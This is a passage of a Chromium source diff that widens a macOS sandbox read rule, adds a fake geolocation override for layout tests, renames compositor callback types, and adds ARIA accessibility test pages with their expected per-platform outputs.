 (allow file-read-data (subpath "/Library/Fonts"))
 
 ; Reads from /System.
-(allow file-read-data 
+(allow file-read-data
   (path "/System/Library/CoreServices/CoreTypes.bundle/Contents/Library/AppExceptions.bundle/Exceptions.plist")
   (path "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/Exceptions.plist")
   (path "/System/Library/CoreServices/SystemVersion.plist")
@@ -103,7 +105,8 @@
   (subpath "/System/Library/CoreServices/SystemAppearance.bundle")
   (subpath "/System/Library/CoreServices/SystemVersion.bundle")
   (subpath "/System/Library/Fonts")
-  (subpath "/System/Library/Frameworks"))
+  (subpath "/System/Library/Frameworks")
+  (subpath "/System/Library/PrivateFrameworks"))
 
 ; IOKit
 (allow iokit-open
diff --git a/content/shell/browser/layout_test/layout_test_browser_context.cc b/content/shell/browser/layout_test/layout_test_browser_context.cc
index b0c4294..e827cd1b 100644
--- a/content/shell/browser/layout_test/layout_test_browser_context.cc
+++ b/content/shell/browser/layout_test/layout_test_browser_context.cc
@@ -23,6 +23,8 @@
 #include "content/shell/browser/layout_test/layout_test_url_request_context_getter.h"
 #include "content/shell/browser/shell_url_request_context_getter.h"
 #include "content/test/mock_background_sync_controller.h"
+#include "device/geolocation/geolocation_provider.h"
+#include "device/geolocation/geoposition.h"
 #include "net/url_request/url_request.h"
 #include "net/url_request/url_request_file_job.h"
 
@@ -85,11 +87,24 @@
 LayoutTestBrowserContext::LayoutTestBrowserContext(bool off_the_record,
                                                    net::NetLog* net_log)
     : ShellBrowserContext(off_the_record, net_log) {
+  Init();
 }
 
 LayoutTestBrowserContext::~LayoutTestBrowserContext() {
 }
 
+void LayoutTestBrowserContext::Init() {
+  // Fake geolocation coordinates for testing.
+  device::Geoposition position;
+  position.latitude = 0;
+  position.longitude = 0;
+  position.altitude = 0;
+  position.accuracy = 0;
+  position.timestamp = base::Time::Now();
+  device::GeolocationProvider::GetInstance()->OverrideLocationForTesting(
+      position);
+}
+
 ShellURLRequestContextGetter*
 LayoutTestBrowserContext::CreateURLRequestContextGetter(
     ProtocolHandlerMap* protocol_handlers,
diff --git a/content/shell/browser/layout_test/layout_test_browser_context.h b/content/shell/browser/layout_test/layout_test_browser_context.h
index 0d6fceb..58cb6996 100644
--- a/content/shell/browser/layout_test/layout_test_browser_context.h
+++ b/content/shell/browser/layout_test/layout_test_browser_context.h
@@ -27,6 +27,8 @@
   LayoutTestBrowserContext(bool off_the_record, net::NetLog* net_log);
   ~LayoutTestBrowserContext() override;
 
+  void Init();
+
   // BrowserContext implementation.
   DownloadManagerDelegate* GetDownloadManagerDelegate() override;
   PushMessagingService* GetPushMessagingService() override;
diff --git a/content/shell/browser/shell_url_request_context_getter.cc b/content/shell/browser/shell_url_request_context_getter.cc
index 80f9335..7f32f2c 100644
--- a/content/shell/browser/shell_url_request_context_getter.cc
+++ b/content/shell/browser/shell_url_request_context_getter.cc
@@ -187,8 +187,7 @@
 #else
                   net::CACHE_BACKEND_DEFAULT,
 #endif
-                  cache_path, 0,
-                  BrowserThread::GetTaskRunnerForThread(BrowserThread::CACHE)));
+                  cache_path, 0));
 
     net::HttpNetworkSession::Context network_session_context;
     network_session_context.cert_verifier =
diff --git a/content/shell/test_runner/test_plugin.cc b/content/shell/test_runner/test_plugin.cc
index 37861ff..6c890de 100644
--- a/content/shell/test_runner/test_plugin.cc
+++ b/content/shell/test_runner/test_plugin.cc
@@ -298,15 +298,15 @@
 
 bool TestPlugin::PrepareTextureMailbox(
     viz::TextureMailbox* mailbox,
-    std::unique_ptr<cc::SingleReleaseCallback>* release_callback) {
+    std::unique_ptr<viz::SingleReleaseCallback>* release_callback) {
   if (!mailbox_changed_)
     return false;
   *mailbox = texture_mailbox_;
   if (texture_mailbox_.IsTexture()) {
     *release_callback =
-        cc::SingleReleaseCallback::Create(base::Bind(&IgnoreReleaseCallback));
+        viz::SingleReleaseCallback::Create(base::Bind(&IgnoreReleaseCallback));
   } else if (texture_mailbox_.IsSharedMemory()) {
-    *release_callback = cc::SingleReleaseCallback::Create(
+    *release_callback = viz::SingleReleaseCallback::Create(
         base::Bind(&ReleaseSharedMemory, base::Passed(&shared_bitmap_)));
   }
   mailbox_changed_ = false;
diff --git a/content/shell/test_runner/test_plugin.h b/content/shell/test_runner/test_plugin.h
index d7faa7a..1a3fe6f9 100644
--- a/content/shell/test_runner/test_plugin.h
+++ b/content/shell/test_runner/test_plugin.h
@@ -92,7 +92,7 @@
   // cc::TextureLayerClient methods:
   bool PrepareTextureMailbox(
       viz::TextureMailbox* mailbox,
-      std::unique_ptr<cc::SingleReleaseCallback>* release_callback) override;
+      std::unique_ptr<viz::SingleReleaseCallback>* release_callback) override;
 
  private:
   TestPlugin(const blink::WebPluginParams& params, WebTestDelegate* delegate);
diff --git a/content/test/BUILD.gn b/content/test/BUILD.gn
index 9f04f31..d7c0cbc 100644
--- a/content/test/BUILD.gn
+++ b/content/test/BUILD.gn
@@ -157,6 +157,7 @@
     "content_browser_sanity_checker.h",
     "content_test_suite.cc",
     "content_test_suite.h",
+    "dummy_render_widget_host_delegate.h",
     "dwrite_font_fake_sender_win.cc",
     "dwrite_font_fake_sender_win.h",
     "fake_compositor_dependencies.cc",
@@ -1299,6 +1300,7 @@
     "../browser/renderer_host/offscreen_canvas_provider_impl_unittest.cc",
     "../browser/renderer_host/render_process_host_unittest.cc",
     "../browser/renderer_host/render_view_host_unittest.cc",
+    "../browser/renderer_host/render_widget_host_input_event_router_unittest.cc",
     "../browser/renderer_host/render_widget_host_unittest.cc",
     "../browser/renderer_host/render_widget_host_view_aura_unittest.cc",
     "../browser/renderer_host/render_widget_host_view_base_unittest.cc",
diff --git a/content/test/appcache_test_helper.cc b/content/test/appcache_test_helper.cc
index 32421b66..36ee461 100644
--- a/content/test/appcache_test_helper.cc
+++ b/content/test/appcache_test_helper.cc
@@ -6,7 +6,6 @@
 
 #include "base/bind.h"
 #include "base/bind_helpers.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "content/browser/appcache/appcache.h"
 #include "content/browser/appcache/appcache_entry.h"
@@ -30,7 +29,7 @@
     bool success,
     bool /*would_exceed_quota*/) {
   ASSERT_TRUE(success);
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void AppCacheTestHelper::AddGroupAndCache(AppCacheServiceImpl*
@@ -75,7 +74,7 @@
        origin != appcache_info_->infos_by_origin.end(); ++origin) {
     origins_->insert(origin->first);
   }
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 }  // namespace content
diff --git a/content/test/data/accessibility/aria/aria-empty-string-expected-blink.txt b/content/test/data/accessibility/aria/aria-empty-string-expected-blink.txt
new file mode 100644
index 0000000..195a19d
--- /dev/null
+++ b/content/test/data/accessibility/aria/aria-empty-string-expected-blink.txt
@@ -0,0 +1,26 @@
+rootWebArea
+++genericContainer name='Atomic undefined'
+++textField name='Autocomplete undefined'
+++genericContainer name='Busy undefined'
+++treeItem selectable name='Checked undefined'
+++genericContainer name='Current undefined'
+++genericContainer name='Disabled undefined'
+++genericContainer name='Dropeffect undefined'
+++treeItem selectable name='Expanded undefined'
+++genericContainer name='Grabbed undefined'
+++button name='Haspopup undefined'
+++genericContainer name='Invalid undefined'
+++genericContainer name='Live undefined'
+++dialog name='Modal undefined' modal=false
+++textField name='Multiline undefined'
+++grid name='Multiselectable undefined'
+++++tableHeaderContainer
+++scrollBar vertical name='Orientation undefined'
+++button name='Pressed undefined'
+++textField name='Readonly undefined'
+++genericContainer name='Relevant undefined'
+++textField name='Required undefined'
+++tree multiselectable vertical
+++++treeItem selectable name='Selected undefined'
+++columnHeader selectable name='Sort undefined'
+++genericContainer name='Hidden undefined, display block'
diff --git a/content/test/data/accessibility/aria/aria-empty-string.html b/content/test/data/accessibility/aria/aria-empty-string.html
new file mode 100644
index 0000000..f9f688e
--- /dev/null
+++ b/content/test/data/accessibility/aria/aria-empty-string.html
@@ -0,0 +1,63 @@
+<!DOCTYPE html>
+<!--
+Test ARIA properties that support "" string literal value as undefined.
+These are all the boolean and token attributes in ARIAConfig.js.
+The results should be indentical to the results for aria-undefined.html.
+@BLINK-DENY:hierarchical*
+@BLINK-DENY:*ForRange*
+@BLINK-ALLOW:ariaCurrent*
+@BLINK-ALLOW:autoComplete*
+@BLINK-ALLOW:busy*
+@BLINK-ALLOW:checked*
+@BLINK-ALLOW:collapsed*
+@BLINK-ALLOW:container*
+@BLINK-ALLOW:disabled*
+@BLINK-ALLOW:drop*
+@BLINK-ALLOW:expanded*
+@BLINK-ALLOW:haspopup*
+@BLINK-ALLOW:horizontal*
+@BLINK-ALLOW:invalid*
+@BLINK-ALLOW:live*
+@BLINK-ALLOW:modal*
+@BLINK-ALLOW:multiline*
+@BLINK-ALLOW:multiselect*
+@BLINK-ALLOW:pressed*
+@BLINK-ALLOW:required*
+@BLINK-ALLOW:restriction*
+@BLINK-ALLOW:select*
+@BLINK-ALLOW:sort*
+@BLINK-ALLOW:vertical*
+-->
+<html>
+<body>
+<div aria-atomic="" aria-label="Atomic undefined"></div>
+<div aria-autocomplete="" role="textbox" aria-label="Autocomplete undefined"></div>
+<div aria-busy="" aria-label="Busy undefined"></div>
+<div aria-checked="" role="treeitem" aria-label="Checked undefined"></div>
+<div aria-current="" aria-label="Current undefined"></div>
+<div aria-disabled="" aria-label="Disabled undefined"></div>
+<div aria-dropeffect="" aria-label="Dropeffect undefined"></div>
+<div aria-expanded="" role="treeitem" aria-label="Expanded undefined"></div>
+<div aria-grabbed="" aria-label="Grabbed undefined"></div>
+<div aria-haspopup="" role="button" aria-label="Haspopup undefined"></div>
+<div aria-invalid="" aria-label="Invalid undefined"></div>
+<div aria-live="" aria-label="Live undefined"></div>
+<div aria-modal="" role="dialog" aria-label="Modal undefined"></div>
+<div aria-multiline="" role="textbox" aria-label="Multiline undefined"></div>
+<div aria-multiselectable="" role="grid" aria-label="Multiselectable undefined"></div>
+<div aria-orientation="" role="scrollbar" aria-label="Orientation undefined"></div>
+<div aria-pressed="" role="button" aria-label="Pressed undefined"></div>
+<div aria-readonly="" role="textbox" aria-label="Readonly undefined"></div>
+<div aria-relevant="" aria-label="Relevant undefined"></div>
+<div aria-required="" role="textbox" aria-label="Required undefined"></div>
+<!-- Test selected inside multiselectable. -->
+<div role="tree" aria-multiselectable="true">
+  <div role="treeitem" aria-selected="" aria-label="Selected undefined"></div>
+</div>
+<div aria-sort="" role="columnheader" aria-label="Sort undefined"></div>
+<!-- Test aria-hidden at end because a broken test can have extra object,
+     and ruin the rest of the test. -->
+<div aria-hidden="" style="display: block" aria-label="Hidden undefined, display block"></div>
+<div aria-hidden="" style="display: none" aria-label="Hidden undefined, display none"></div>
+</body>
+</html>
diff --git a/content/test/data/accessibility/aria/aria-readonly-expected-android.txt b/content/test/data/accessibility/aria/aria-readonly-expected-android.txt
index d4e2a11..6924b780 100644
--- a/content/test/data/accessibility/aria/aria-readonly-expected-android.txt
+++ b/content/test/data/accessibility/aria/aria-readonly-expected-android.txt
@@ -1,4 +1,23 @@
 android.webkit.WebView focusable focused scrollable
 ++android.view.View
-++++android.widget.EditText clickable editable_text focusable has_non_empty_value name='Editable text' input_type=1 text_change_added_count=13
-++++android.widget.EditText clickable editable_text focusable has_non_empty_value name='Uneditable text' input_type=1 text_change_added_count=15
+++++android.widget.EditText clickable editable_text focusable has_non_empty_value name='Readonly-false input' input_type=1 text_change_added_count=20
+++android.view.View
+++++android.widget.EditText clickable editable_text focusable has_non_empty_value name='Readonly-true input' input_type=1 text_change_added_count=19
+++android.view.View clickable focusable name='Readonly-false plain div'
+++android.view.View clickable focusable name='Readonly-true plain div'
+++android.view.View clickable focusable multiline name='Readonly-false contenteditable div'
+++android.view.View clickable focusable multiline name='Readonly-true contenteditable div'
+++android.widget.EditText clickable editable_text focusable name='Readonly-false role unimplemented textbox'
+++android.widget.EditText clickable editable_text focusable name='Readonly-true role unimplemented textbox'
+++android.widget.EditText clickable editable_text focusable name='Readonly-false contenteditable textbox'
+++android.widget.EditText clickable editable_text focusable name='Readonly-true contenteditable textbox'
+++android.widget.CheckBox role_description='checkbox' checkable clickable name='Readonly checkbox'
+++android.widget.Spinner role_description='combo box' name='Readonly combobox'
+++android.widget.ListView role_description='list box' collection name='Readonly listbox'
+++android.view.View role_description='radio group' name='Readonly radiogroup'
+++android.widget.SeekBar role_description='slider' range name='Readonly slider' item_count=100
+++android.widget.EditText role_description='spin button' name='Readonly spinbutton'
+++android.view.MenuItem role_description='checkbox' checkable clickable name='Readonly menuitemcheckbox'
+++android.view.MenuItem role_description='radio button' checkable clickable name='Readonly menuitemradio'
+++android.widget.EditText role_description='search text field' clickable name='Readonly searchbox'
+++android.widget.CheckBox role_description='switch' checkable clickable name='Readonly switch'
\ No newline at end of file
diff --git a/content/test/data/accessibility/aria/aria-readonly-expected-blink.txt b/content/test/data/accessibility/aria/aria-readonly-expected-blink.txt
index 514203d..db55384 100644
--- a/content/test/data/accessibility/aria/aria-readonly-expected-blink.txt
+++ b/content/test/data/accessibility/aria/aria-readonly-expected-blink.txt
@@ -2,9 +2,28 @@
 ++genericContainer
 ++++textField
 ++++++genericContainer
-++++++++staticText name='Editable text'
-++++++++++inlineTextBox name='Editable text'
+++++++++staticText name='Readonly-false input'
+++++++++++inlineTextBox name='Readonly-false input'
+++genericContainer
 ++++textField restriction=readOnly
 ++++++genericContainer
-++++++++staticText name='Uneditable text'
-++++++++++inlineTextBox name='Uneditable text'
+++++++++staticText name='Readonly-true input'
+++++++++++inlineTextBox name='Readonly-true input'
+++genericContainer name='Readonly-false plain div'
+++genericContainer name='Readonly-true plain div'
+++genericContainer multiline name='Readonly-false contenteditable div'
+++genericContainer multiline name='Readonly-true contenteditable div'
+++textField name='Readonly-false role unimplemented textbox'
+++textField name='Readonly-true role unimplemented textbox' restriction=readOnly
+++textField name='Readonly-false contenteditable textbox'
+++textField name='Readonly-true contenteditable textbox' restriction=readOnly
+++checkBox name='Readonly checkbox' restriction=readOnly
+++comboBox name='Readonly combobox' restriction=readOnly
+++listBox name='Readonly listbox' restriction=readOnly
+++radioGroup name='Readonly radiogroup' restriction=readOnly
+++slider horizontal name='Readonly slider' restriction=readOnly
+++spinButton name='Readonly spinbutton' restriction=readOnly
+++menuItemCheckBox name='Readonly menuitemcheckbox' restriction=readOnly
+++menuItemRadio name='Readonly menuitemradio' restriction=readOnly
+++searchBox name='Readonly searchbox' restriction=readOnly
+++switch name='Readonly switch' restriction=readOnly
diff --git a/content/test/data/accessibility/aria/aria-readonly-expected-mac.txt b/content/test/data/accessibility/aria/aria-readonly-expected-mac.txt
index 71a073e7..4935239 100644
--- a/content/test/data/accessibility/aria/aria-readonly-expected-mac.txt
+++ b/content/test/data/accessibility/aria/aria-readonly-expected-mac.txt
@@ -1,4 +1,23 @@
 AXWebArea
 ++AXGroup
-++++AXTextField AXValue='Editable text'
-++++AXTextField AXValue='Uneditable text'
+++++AXTextField AXValue='Readonly-false input'
+++AXGroup
+++++AXTextField AXValue='Readonly-true input'
+++AXGroup AXDescription='Readonly-false plain div'
+++AXGroup AXDescription='Readonly-true plain div'
+++AXTextArea AXDescription='Readonly-false contenteditable div'
+++AXTextArea AXDescription='Readonly-true contenteditable div'
+++AXTextField AXDescription='Readonly-false role unimplemented textbox'
+++AXTextField AXDescription='Readonly-true role unimplemented textbox'
+++AXTextField AXDescription='Readonly-false contenteditable textbox'
+++AXTextField AXDescription='Readonly-true contenteditable textbox'
+++AXCheckBox AXValue='0' AXDescription='Readonly checkbox'
+++AXComboBox AXDescription='Readonly combobox'
+++AXList AXDescription='Readonly listbox'
+++AXRadioGroup AXDescription='Readonly radiogroup'
+++AXSlider AXValue='0' AXDescription='Readonly slider'
+++AXIncrementor AXValue='0' AXDescription='Readonly spinbutton'
+++AXMenuItem AXValue='0' AXDescription='Readonly menuitemcheckbox'
+++AXMenuItem AXValue='0' AXDescription='Readonly menuitemradio'
+++AXTextField AXDescription='Readonly searchbox'
+++AXCheckBox AXValue='0' AXDescription='Readonly switch'
\ No newline at end of file
diff --git a/content/test/data/accessibility/aria/aria-readonly-expected-win.txt b/content/test/data/accessibility/aria/aria-readonly-expected-win.txt
index 880cc985..08488b2bf 100644
--- a/content/test/data/accessibility/aria/aria-readonly-expected-win.txt
+++ b/content/test/data/accessibility/aria/aria-readonly-expected-win.txt
@@ -1,4 +1,23 @@
-ROLE_SYSTEM_DOCUMENT READONLY FOCUSABLE
+ROLE_SYSTEM_DOCUMENT READONLY
 ++IA2_ROLE_SECTION
-++++ROLE_SYSTEM_TEXT FOCUSABLE
-++++ROLE_SYSTEM_TEXT READONLY FOCUSABLE
+++++ROLE_SYSTEM_TEXT IA2_STATE_EDITABLE
+++IA2_ROLE_SECTION
+++++ROLE_SYSTEM_TEXT READONLY IA2_STATE_EDITABLE
+++IA2_ROLE_SECTION name='Readonly-false plain div'
+++IA2_ROLE_SECTION name='Readonly-true plain div'
+++IA2_ROLE_SECTION name='Readonly-false contenteditable div' IA2_STATE_EDITABLE
+++IA2_ROLE_SECTION name='Readonly-true contenteditable div' IA2_STATE_EDITABLE
+++ROLE_SYSTEM_TEXT name='Readonly-false role unimplemented textbox'
+++ROLE_SYSTEM_TEXT name='Readonly-true role unimplemented textbox' READONLY
+++ROLE_SYSTEM_TEXT name='Readonly-false contenteditable textbox'
+++ROLE_SYSTEM_TEXT name='Readonly-true contenteditable textbox' READONLY
+++ROLE_SYSTEM_CHECKBUTTON name='Readonly checkbox' READONLY
+++ROLE_SYSTEM_COMBOBOX name='Readonly combobox' READONLY
+++ROLE_SYSTEM_LIST name='Readonly listbox' READONLY
+++ROLE_SYSTEM_GROUPING name='Readonly radiogroup' READONLY
+++ROLE_SYSTEM_SLIDER name='Readonly slider' READONLY
+++ROLE_SYSTEM_SPINBUTTON name='Readonly spinbutton' READONLY
+++IA2_ROLE_CHECK_MENU_ITEM name='Readonly menuitemcheckbox' READONLY
+++IA2_ROLE_RADIO_MENU_ITEM name='Readonly menuitemradio' READONLY
+++ROLE_SYSTEM_TEXT name='Readonly searchbox' READONLY
+++IA2_ROLE_TOGGLE_BUTTON name='Readonly switch' READONLY
\ No newline at end of file
diff --git a/content/test/data/accessibility/aria/aria-readonly.html b/content/test/data/accessibility/aria/aria-readonly.html
index 2fcc39be..40dc70d 100644
--- a/content/test/data/accessibility/aria/aria-readonly.html
+++ b/content/test/data/accessibility/aria/aria-readonly.html
@@ -1,10 +1,48 @@
 <!--
+@WIN-ALLOW:IA2_STATE_EDITABLE
+@WIN-DENY:IA2_STATE_MULTI_LINE
+@WIN-DENY:IA2_STATE_CHECKABLE
+@WIN-DENY:checkable:true
+@WIN-DENY:IA2_STATE_HORIZONTAL
+@WIN-DENY:FOCUSABLE
 @MAC-ALLOW:AXValue=*
 @BLINK-ALLOW:restriction*
+@BLINK-DENY:checkedState*
+@BLINK-DENY:*ForRange*
 -->
 <html>
 <body>
-  <input aria-readonly="false" tabindex="0" value="Editable text">
-  <input aria-readonly="true" tabindex="1" value="Uneditable text">
+  <!-- Input -->
+  <div><input aria-readonly="false" tabindex="0" value="Readonly-false input"></div>
+  <div><input aria-readonly="true" tabindex="0" value="Readonly-true input"></div>
+
+  <!-- Plain div -->
+  <div aria-readonly="false" tabindex="0" aria-label="Readonly-false plain div"></div>
+  <div aria-readonly="true" tabindex="0" aria-label="Readonly-true plain div"></div>
+
+  <!-- Contenteditable div -->
+  <div contenteditable aria-readonly="false" tabindex="0" aria-label="Readonly-false contenteditable div"></div>
+  <div contenteditable aria-readonly="true" tabindex="0" aria-label="Readonly-true contenteditable div"></div>
+
+  <!-- Textbox with no implementation for editing -->
+  <div role="textbox" aria-readonly="false" tabindex="0" aria-label="Readonly-false role unimplemented textbox"></div>
+  <div role="textbox" aria-readonly="true" tabindex="0" aria-label="Readonly-true role unimplemented textbox"></div>
+
+  <!-- Textbox implemented with contenteditable -->
+  <div role="textbox" aria-readonly="false" tabindex="0" aria-label="Readonly-false contenteditable textbox"></div>
+  <div role="textbox" aria-readonly="true" tabindex="0" aria-label="Readonly-true contenteditable textbox"></div>
+
+  <!-- Other roles -->
+  <div role="checkbox" aria-readonly="true" aria-label="Readonly checkbox"></div>
+  <div role="combobox" aria-readonly="true" aria-label="Readonly combobox"></div>
+  <div role="listbox" aria-readonly="true" aria-label="Readonly listbox"></div>
+  <div role="radiogroup" aria-readonly="true" aria-label="Readonly radiogroup"></div>
+  <div role="slider" aria-readonly="true" aria-label="Readonly slider"></div>
+  <div role="spinbutton" aria-readonly="true" aria-label="Readonly spinbutton"></div>
+  <div role="menuitemcheckbox" aria-readonly="true" aria-label="Readonly menuitemcheckbox"></div>
+  <div role="menuitemradio" aria-readonly="true" aria-label="Readonly menuitemradio"></div>
+  <div role="searchbox" aria-readonly="true" aria-label="Readonly searchbox"></div>
+  <div role="switch" aria-readonly="true" aria-label="Readonly switch"></div>
+
 </body>
 </html>
diff --git a/content/test/data/accessibility/aria/aria-undefined-expected-blink.txt b/content/test/data/accessibility/aria/aria-undefined-expected-blink.txt
new file mode 100644
index 0000000..195a19d
--- /dev/null
+++ b/content/test/data/accessibility/aria/aria-undefined-expected-blink.txt
@@ -0,0 +1,26 @@
+rootWebArea
+++genericContainer name='Atomic undefined'
+++textField name='Autocomplete undefined'
+++genericContainer name='Busy undefined'
+++treeItem selectable name='Checked undefined'
+++genericContainer name='Current undefined'
+++genericContainer name='Disabled undefined'
+++genericContainer name='Dropeffect undefined'
+++treeItem selectable name='Expanded undefined'
+++genericContainer name='Grabbed undefined'
+++button name='Haspopup undefined'
+++genericContainer name='Invalid undefined'
+++genericContainer name='Live undefined'
+++dialog name='Modal undefined' modal=false
+++textField name='Multiline undefined'
+++grid name='Multiselectable undefined'
+++++tableHeaderContainer
+++scrollBar vertical name='Orientation undefined'
+++button name='Pressed undefined'
+++textField name='Readonly undefined'
+++genericContainer name='Relevant undefined'
+++textField name='Required undefined'
+++tree multiselectable vertical
+++++treeItem selectable name='Selected undefined'
+++columnHeader selectable name='Sort undefined'
+++genericContainer name='Hidden undefined, display block'
diff --git a/content/test/data/accessibility/aria/aria-undefined-literal-expected-blink.txt b/content/test/data/accessibility/aria/aria-undefined-literal-expected-blink.txt
new file mode 100644
index 0000000..195a19d
--- /dev/null
+++ b/content/test/data/accessibility/aria/aria-undefined-literal-expected-blink.txt
@@ -0,0 +1,26 @@
+rootWebArea
+++genericContainer name='Atomic undefined'
+++textField name='Autocomplete undefined'
+++genericContainer name='Busy undefined'
+++treeItem selectable name='Checked undefined'
+++genericContainer name='Current undefined'
+++genericContainer name='Disabled undefined'
+++genericContainer name='Dropeffect undefined'
+++treeItem selectable name='Expanded undefined'
+++genericContainer name='Grabbed undefined'
+++button name='Haspopup undefined'
+++genericContainer name='Invalid undefined'
+++genericContainer name='Live undefined'
+++dialog name='Modal undefined' modal=false
+++textField name='Multiline undefined'
+++grid name='Multiselectable undefined'
+++++tableHeaderContainer
+++scrollBar vertical name='Orientation undefined'
+++button name='Pressed undefined'
+++textField name='Readonly undefined'
+++genericContainer name='Relevant undefined'
+++textField name='Required undefined'
+++tree multiselectable vertical
+++++treeItem selectable name='Selected undefined'
+++columnHeader selectable name='Sort undefined'
+++genericContainer name='Hidden undefined, display block'
diff --git a/content/test/data/accessibility/aria/aria-undefined-literal.html b/content/test/data/accessibility/aria/aria-undefined-literal.html
new file mode 100644
index 0000000..e1d865c
--- /dev/null
+++ b/content/test/data/accessibility/aria/aria-undefined-literal.html
@@ -0,0 +1,63 @@
+<!DOCTYPE html>
+<!--
+Test ARIA properties that support "undefined" string literal value as undefined.
+These are all the boolean and token attributes in ARIAConfig.js.
+The results should be indentical to the results for aria-undefined.html.
+@BLINK-DENY:hierarchical*
+@BLINK-DENY:*ForRange*
+@BLINK-ALLOW:ariaCurrent*
+@BLINK-ALLOW:autoComplete*
+@BLINK-ALLOW:busy*
+@BLINK-ALLOW:checked*
+@BLINK-ALLOW:collapsed*
+@BLINK-ALLOW:container*
+@BLINK-ALLOW:disabled*
+@BLINK-ALLOW:drop*
+@BLINK-ALLOW:expanded*
+@BLINK-ALLOW:haspopup*
+@BLINK-ALLOW:horizontal*
+@BLINK-ALLOW:invalid*
+@BLINK-ALLOW:live*
+@BLINK-ALLOW:modal*
+@BLINK-ALLOW:multiline*
+@BLINK-ALLOW:multiselect*
+@BLINK-ALLOW:pressed*
+@BLINK-ALLOW:required*
+@BLINK-ALLOW:restriction*
+@BLINK-ALLOW:select*
+@BLINK-ALLOW:sort*
+@BLINK-ALLOW:vertical*
+-->
+<html>
+<body>
+<div aria-atomic="undefined" aria-label="Atomic undefined"></div>
+<div aria-autocomplete="undefined" role="textbox" aria-label="Autocomplete undefined"></div>
+<div aria-busy="undefined" aria-label="Busy undefined"></div>
+<div aria-checked="undefined" role="treeitem" aria-label="Checked undefined"></div>
+<div aria-current="undefined" aria-label="Current undefined"></div>
+<div aria-disabled="undefined" aria-label="Disabled undefined"></div>
+<div aria-dropeffect="undefined" aria-label="Dropeffect undefined"></div>
+<div aria-expanded="undefined" role="treeitem" aria-label="Expanded undefined"></div>
+<div aria-grabbed="undefined" aria-label="Grabbed undefined"></div>
+<div aria-haspopup="undefined" role="button" aria-label="Haspopup undefined"></div>
+<div aria-invalid="undefined" aria-label="Invalid undefined"></div>
+<div aria-live="undefined" aria-label="Live undefined"></div>
+<div aria-modal="undefined" role="dialog" aria-label="Modal undefined"></div>
+<div aria-multiline="undefined" role="textbox" aria-label="Multiline undefined"></div>
+<div aria-multiselectable="undefined" role="grid" aria-label="Multiselectable undefined"></div>
+<div aria-orientation="undefined" role="scrollbar" aria-label="Orientation undefined"></div>
+<div aria-pressed="undefined" role="button" aria-label="Pressed undefined"></div>
+<div aria-readonly="undefined" role="textbox" aria-label="Readonly undefined"></div>
+<div aria-relevant="undefined" aria-label="Relevant undefined"></div>
+<div aria-required="undefined" role="textbox" aria-label="Required undefined"></div>
+<!-- Test selected inside multiselectable. -->
+<div role="tree" aria-multiselectable="true">
+  <div role="treeitem" aria-selected="undefined" aria-label="Selected undefined"></div>
+</div>
+<div aria-sort="undefined" role="columnheader" aria-label="Sort undefined"></div>
+<!-- Test aria-hidden at end because a broken test can have extra object,
+     and ruin the rest of the test. -->
+<div aria-hidden="undefined" style="display: block" aria-label="Hidden undefined, display block"></div>
+<div aria-hidden="undefined" style="display: none" aria-label="Hidden undefined, display none"></div>
+</body>
+</html>
diff --git a/content/test/data/accessibility/aria/aria-undefined.html b/content/test/data/accessibility/aria/aria-undefined.html
new file mode 100644
index 0000000..3bc10ea
--- /dev/null
+++ b/content/test/data/accessibility/aria/aria-undefined.html
@@ -0,0 +1,63 @@
+<!DOCTYPE html>
+<!--
+Test ARIA properties default values when attribute not present.
+These are all the boolean and token attributes in ARIAConfig.js.
+The results should be indentical to the results for aria-undefined-literal.html.
+@BLINK-DENY:hierarchical*
+@BLINK-DENY:*ForRange*
+@BLINK-ALLOW:ariaCurrent*
+@BLINK-ALLOW:autoComplete*
+@BLINK-ALLOW:busy*
+@BLINK-ALLOW:checked*
+@BLINK-ALLOW:collapsed*
+@BLINK-ALLOW:container*
+@BLINK-ALLOW:disabled*
+@BLINK-ALLOW:drop*
+@BLINK-ALLOW:expanded*
+@BLINK-ALLOW:haspopup*
+@BLINK-ALLOW:horizontal*
+@BLINK-ALLOW:invalid*
+@BLINK-ALLOW:live*
+@BLINK-ALLOW:modal*
+@BLINK-ALLOW:multiline*
+@BLINK-ALLOW:multiselect*
+@BLINK-ALLOW:pressed*
+@BLINK-ALLOW:required*
+@BLINK-ALLOW:restriction*
+@BLINK-ALLOW:select*
+@BLINK-ALLOW:sort*
+@BLINK-ALLOW:vertical*
+-->
+<html>
+<body>
+<div aria-label="Atomic undefined"></div>
+<div role="textbox" aria-label="Autocomplete undefined"></div>
+<div aria-label="Busy undefined"></div>
+<div role="treeitem" aria-label="Checked undefined"></div>
+<div aria-label="Current undefined"></div>
+<div aria-label="Disabled undefined"></div>
+<div aria-label="Dropeffect undefined"></div>
+<div role="treeitem" aria-label="Expanded undefined"></div>
+<div aria-label="Grabbed undefined"></div>
+<div role="button" aria-label="Haspopup undefined"></div>
+<div aria-label="Invalid undefined"></div>
+<div aria-label="Live undefined"></div>
+<div role="dialog" aria-label="Modal undefined"></div>
+<div role="textbox" aria-label="Multiline undefined"></div>
+<div role="grid" aria-label="Multiselectable undefined"></div>
+<div role="scrollbar" aria-label="Orientation undefined"></div>
+<div role="button" aria-label="Pressed undefined"></div>
+<div role="textbox" aria-label="Readonly undefined"></div>
+<div aria-label="Relevant undefined"></div>
+<div role="textbox" aria-label="Required undefined"></div>
+<!-- Test selected inside multiselectable. -->
+<div role="tree" aria-multiselectable="true">
+  <div role="treeitem" aria-label="Selected undefined"></div>
+</div>
+<div role="columnheader" aria-label="Sort undefined"></div>
+<!-- Test aria-hidden at end because a broken test can have extra object,
+     and ruin the rest of the test. -->
+<div style="display: block" aria-label="Hidden undefined, display block"></div>
+<div style="display: none" aria-label="Hidden undefined, display none"></div>
+</body>
+</html>
diff --git a/content/test/dummy_render_widget_host_delegate.h b/content/test/dummy_render_widget_host_delegate.h
new file mode 100644
index 0000000..0108c4da
--- /dev/null
+++ b/content/test/dummy_render_widget_host_delegate.h
@@ -0,0 +1,31 @@
+// Copyright (c) 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef CONTENT_TEST_DUMMY_RENDER_WIDGET_HOST_DELEGATE_H_
+#define CONTENT_TEST_DUMMY_RENDER_WIDGET_HOST_DELEGATE_H_
+
